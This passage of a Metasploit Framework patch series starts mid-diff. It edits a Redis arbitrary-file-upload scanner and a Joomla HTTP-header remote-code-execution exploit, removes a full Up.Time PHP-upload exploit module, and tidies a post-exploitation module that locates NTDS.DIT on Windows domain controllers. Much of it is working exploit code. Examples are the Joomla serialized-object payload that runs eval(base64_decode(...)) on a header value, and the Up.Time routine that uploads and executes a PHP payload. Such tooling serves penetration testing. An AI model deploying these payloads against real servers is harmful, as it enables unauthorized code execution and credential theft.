Exploit::CheckCode::Vulnerable if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') + end + end + res.get_html_meta_elements.each do |element| if element.attributes['name'] && /^generator$/i === element.attributes['name'] && @@ -123,9 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote end end - res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) - return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') - Exploit::CheckCode::Unknown end From 12764660b2185e54b1d78fbd1581cf1c9c845260 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 16 Dec 2015 11:07:27 -0800 Subject: [PATCH 30/39] Remove compression bits from description; remove unnecessary module options; require DISABLE_RDBCOMPRESSION --- modules/auxiliary/scanner/redis/file_upload.rb | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index b977411db9..794431e927 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -18,9 +18,8 @@ class Metasploit3 < Msf::Auxiliary achieve somewhat arbitrary file upload to a file and directory to which the user account running the redis instance has access. It is not totally arbitrary because the exact contents of the file cannot - (yet) be completely controlled. Depending on the contents of the - file that is being uploaded, Redis may compress the data that is - ultimately stored in the specified target location. + be completely controlled given the nature of how Redis stores its + database on disk. ), 'License' => MSF_LICENSE, 'Author' => [ @@ -32,10 +31,7 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], ['URL', 'http://redis.io/topics/protocol'] ], - 'Platform' => %w(unix linux), - 'Targets' => [['Automatic Target', {}]], 'Privileged' => true, - 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 11 2015' ) ) @@ -44,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), OptString.new('RemoteFile', [false, 'Remote file path']), - OptBool.new('DISABLE_RDBCOMPRESSION', [false, 'Disable string compression when dump .rdb databases', true]) + OptBool.new('DISABLE_RDBCOMPRESSION', [true, 'Disable compression when saving if found to be enabled', true]) ] ) end @@ -75,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary # If you want to save some CPU in the saving child set it to 'no' but # the dataset will likely be bigger if you have compressible values or # keys. - if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') return unless data.include?('+OK') From f616ee14a834286107977ed524a6b5c0b6ced60f Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 16 Dec 2015 11:11:00 -0800 Subject: [PATCH 31/39] Dont abort if compression can't be disabled --- modules/auxiliary/scanner/redis/file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index 794431e927..fd89048774 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary # keys. if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') - return unless data.include?('+OK') + print_error("#{peer} -- Unable to disable rdbcompresssion") unless data.include?('+OK') end # set a key in this db that contains our content From 865e2a7c187f93d8876da4e779a36b36c067555b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 16 Dec 2015 11:20:13 -0800 Subject: [PATCH 32/39] Only test/reset rdbcompression if told to and redis is configured that way --- modules/auxiliary/scanner/redis/file_upload.rb | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index fd89048774..3842aea864 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -56,7 +56,9 @@ class Metasploit3 < Msf::Auxiliary # XXX: this is a hack -- we should really parse the responses more correctly original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last - original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last + if datastore['DISABLE_RDBCOMPRESSION'] + original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last + end # set the directory which stores the current redis local store data = redis_command('CONFIG', 'SET', 'dir', dirname) @@ -73,7 +75,12 @@ class Metasploit3 < Msf::Auxiliary # keys. if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') - print_error("#{peer} -- Unable to disable rdbcompresssion") unless data.include?('+OK') + if data.include?('+OK') + reset_rdbcompression = true + else + print_error("#{peer} -- Unable to disable rdbcompresssion") + reset_rdbcompression = false + end end # set a key in this db that contains our content @@ -96,7 +103,9 @@ class Metasploit3 < Msf::Auxiliary # XXX: ensure that these get sent if we prematurely return if a previous command fails redis_command('CONFIG', 'SET', 'dir', original_dir) redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) - redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression) + if datastore['DISABLE_RDBCOMPRESSION'] && reset_rdbcompression + redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression) + end redis_command('DEL', key) redis_command('SAVE') end From 76438dfb2f677809a69c90431c1d47689ded7ce0 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 20:31:43 +0100 Subject: [PATCH 33/39] implement @wchen-r7 's suggestions --- .../multi/http/joomla_http_header_rce.rb | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 1f10f7e5fa..b3f8c6234f 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -51,6 +51,11 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) ], self.class) + + register_advanced_options( + [ + OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), + ], self.class) end def check @@ -80,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.5.9') vulnerable = false @@ -93,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote end elsif rest && rest.include?('+deb') sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' - vprint_status("Found Debian PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.4.45') vulnerable = false @@ -103,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true end else - vprint_status("Found PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found PHP version #{res.headers['X-Powered-By']}") vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) @@ -117,8 +122,9 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') joomla_version = res.body.scan(/([\d\.]+)<\/version>/i).flatten.first || '' - if joomla_version - return Exploit::CheckCode::Vulnerable if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') + unless joomla_version.empty? + vprint_status("Detected Joomla version #{joomla_version}") + return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') end end @@ -131,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - Exploit::CheckCode::Unknown + Exploit::CheckCode::Safe end def get_payload @@ -152,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if check == Exploit::CheckCode::Safe + if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false print_error('Target seems safe, so we will not continue.') return end From 08d0ffd7097de8f2178d12e1b33a0d8d223d5e97 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 22:44:01 +0100 Subject: [PATCH 34/39] implement @wvu-r7 's feedback --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index b3f8c6234f..ed91c4b45b 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [['Joomla', {}]], + 'Targets' => [['Joomla < 3.4.6', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) @@ -140,10 +140,10 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Safe end - def get_payload + def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' - pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;" + pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' post = "\xF0\x9D\x8C\x86" return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" @@ -164,10 +164,11 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("Sending payload ...") + header_name = Rex::Text.rand_text_alpha_upper(5) res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, - 'headers' => { datastore['HEADER'] => get_payload } + 'headers' => { datastore['HEADER'] => get_payload(header_name) } }) fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies @@ -176,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { - 'CMD' => Rex::Text.encode_base64(payload.encoded) + header_name => Rex::Text.encode_base64(payload.encoded) } }) end From 8c43ecbfaff767fdbbee036bed4d3995ef538e96 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 17 Dec 2015 00:08:52 +0100 Subject: [PATCH 35/39] add random terminator and clarify target --- .../multi/http/joomla_http_header_rce.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index ed91c4b45b..1be5c92468 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [['Joomla < 3.4.6', {}]], + 'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) @@ -140,13 +140,19 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Safe end + # gets a random 4 byte UTF-8 character + def get_terminator + # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF + [rand(0x10000..0x10ffff)].pack('U*') + end + def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" - middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' + pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" - middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' - post = "\xF0\x9D\x8C\x86" - return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" + post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' + t1000 = get_terminator + return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}" end def print_status(msg='') From 485196af4ecba38210208fa9ac85c43b849419d0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 17 Dec 2015 23:01:57 -0600 Subject: [PATCH 36/39] Remove modules/exploits/multi/http/uptime_file_upload.rb Please use exploit/multi/http/uptime_file_upload_1 for exploiting post2file.php on an older version of uptime. If you are exploiting uptime that is patched against exploit/multi/http/uptime_file_upload_1, then you may want to try exploit/multi/http/uptime_file_upload_2. --- .../exploits/multi/http/uptime_file_upload.rb | 102 ------------------ 1 file changed, 102 deletions(-) delete mode 100644 modules/exploits/multi/http/uptime_file_upload.rb diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb deleted file mode 100644 index fa7e1f697d..0000000000 --- a/modules/exploits/multi/http/uptime_file_upload.rb +++ /dev/null @@ -1,102 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::PhpEXE - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 11, 27), 'exploit/multi/http/uptime_file_upload_1') - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload', - 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability found within the Up.Time - monitoring server 7.2 and below. A malicious entity can upload a PHP file into the - webroot without authentication, leading to arbitrary code execution. - }, - 'Author' => - [ - 'Denis Andzakovic ' # Vulnerability discoverey and MSF module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '100423' ], - [ 'BID', '64031'], - [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ] - ], - 'Payload' => - { - 'Space' => 10000, # just a big enough number to fit any PHP payload - 'DisableNops' => true - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Up.Time 7.2', { } ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 19 2013')) - - register_options([ - OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), - Opt::RPORT(9999) - ], self.class) - end - - def check - uri = target_uri.path - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'wizards', 'post2file.php') - }) - - if res and res.code == 500 and res.body.to_s =~ /<\/title>/ - return Exploit::CheckCode::Appears - end - - return Exploit::CheckCode::Safe - - end - - def exploit - print_status("#{peer} - Uploading PHP to Up.Time server") - uri = target_uri.path - - @payload_name = "#{rand_text_alpha(5)}.php" - php_payload = get_write_exec_payload(:unlink_self => true) - - post_data = ({ - "file_name" => @payload_name, - "script" => php_payload - }) - - print_status("#{peer} - Uploading payload #{@payload_name}") - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'), - 'vars_post' => post_data, - }) - - unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ - fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") - end - - print_status("#{peer} - Executing payload #{@payload_name}") - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'wizards', @payload_name), - 'method' => 'GET' - }) - end -end From fb6ede80c9911f60dda811b22be40d8b3a1583ac Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Fri, 18 Dec 2015 18:27:48 +0100 Subject: [PATCH 37/39] add joomla reference --- modules/exploits/multi/http/joomla_http_header_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 1be5c92468..9e8878a1ac 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], + ['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], ['URL', 'https://bugs.php.net/bug.php?id=70219'] From 06a2bb53bd145248ca25c6dfdc124cf8ee8456e3 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 17 Dec 2015 23:25:15 -0600 Subject: [PATCH 38/39] Clean up module --- modules/post/windows/gather/ntds_location.rb | 38 +++++++++----------- 1 file changed, 17 insertions(+), 21 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index ddbdea28ee..518895d684 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -3,36 +3,31 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' -require 'msf/core/post/windows/registry' +class Metasploit4 < Msf::Post -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info = {}) super(update_info(info, - 'Name' => "NTDS.DIT Location Module", - 'Description' => %q{ - This module will find the location of the NTDS.DIT file (from the registry), check that it exists - and display it on the screen. Useful if you wish to manually acquire the file using ntdsutil or vss. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'] - )) + 'Name' => 'Post Windows Gather NTDS.DIT Location', + 'Description' => %q{ + This module will find the location of the NTDS.DIT file (from the Registry), + check that it exists, and display its location on the screen, which is useful + if you wish to manually acquire the file using ntdsutil or vss. + }, + 'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'], + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'] + )) end def run - # Find the NTDS.DIT location in the registry - ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "DSA Database file").to_s + # Find the location of NTDS.DIT in the Registry + ntds = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters', 'DSA Database file') unless ntds - print_error("Unable to find the NTDS.DIT location.") + print_error('Unable to find the location of NTDS.DIT') return end @@ -44,7 +39,8 @@ class Metasploit3 < Msf::Post print_line(" Modified: #{f.mtime.to_s}") print_line(" Accessed: #{f.atime.to_s}") else - print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") + print_error("NTDS.DIT is reportedly located at #{ntds}, but the file does not appear to exist") end end + end From 6afcc1377462fc409409135549585b88c4cb79d8 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 18 Dec 2015 15:41:38 -0600 Subject: [PATCH 39/39] Requote file path --- modules/post/windows/gather/ntds_location.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 518895d684..a875df954e 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -39,7 +39,7 @@ class Metasploit4 < Msf::Post print_line(" Modified: #{f.mtime.to_s}") print_line(" Accessed: #{f.atime.to_s}") else - print_error("NTDS.DIT is reportedly located at #{ntds}, but the file does not appear to exist") + print_error("NTDS.DIT is reportedly located at `#{ntds}', but the file does not appear to exist") end end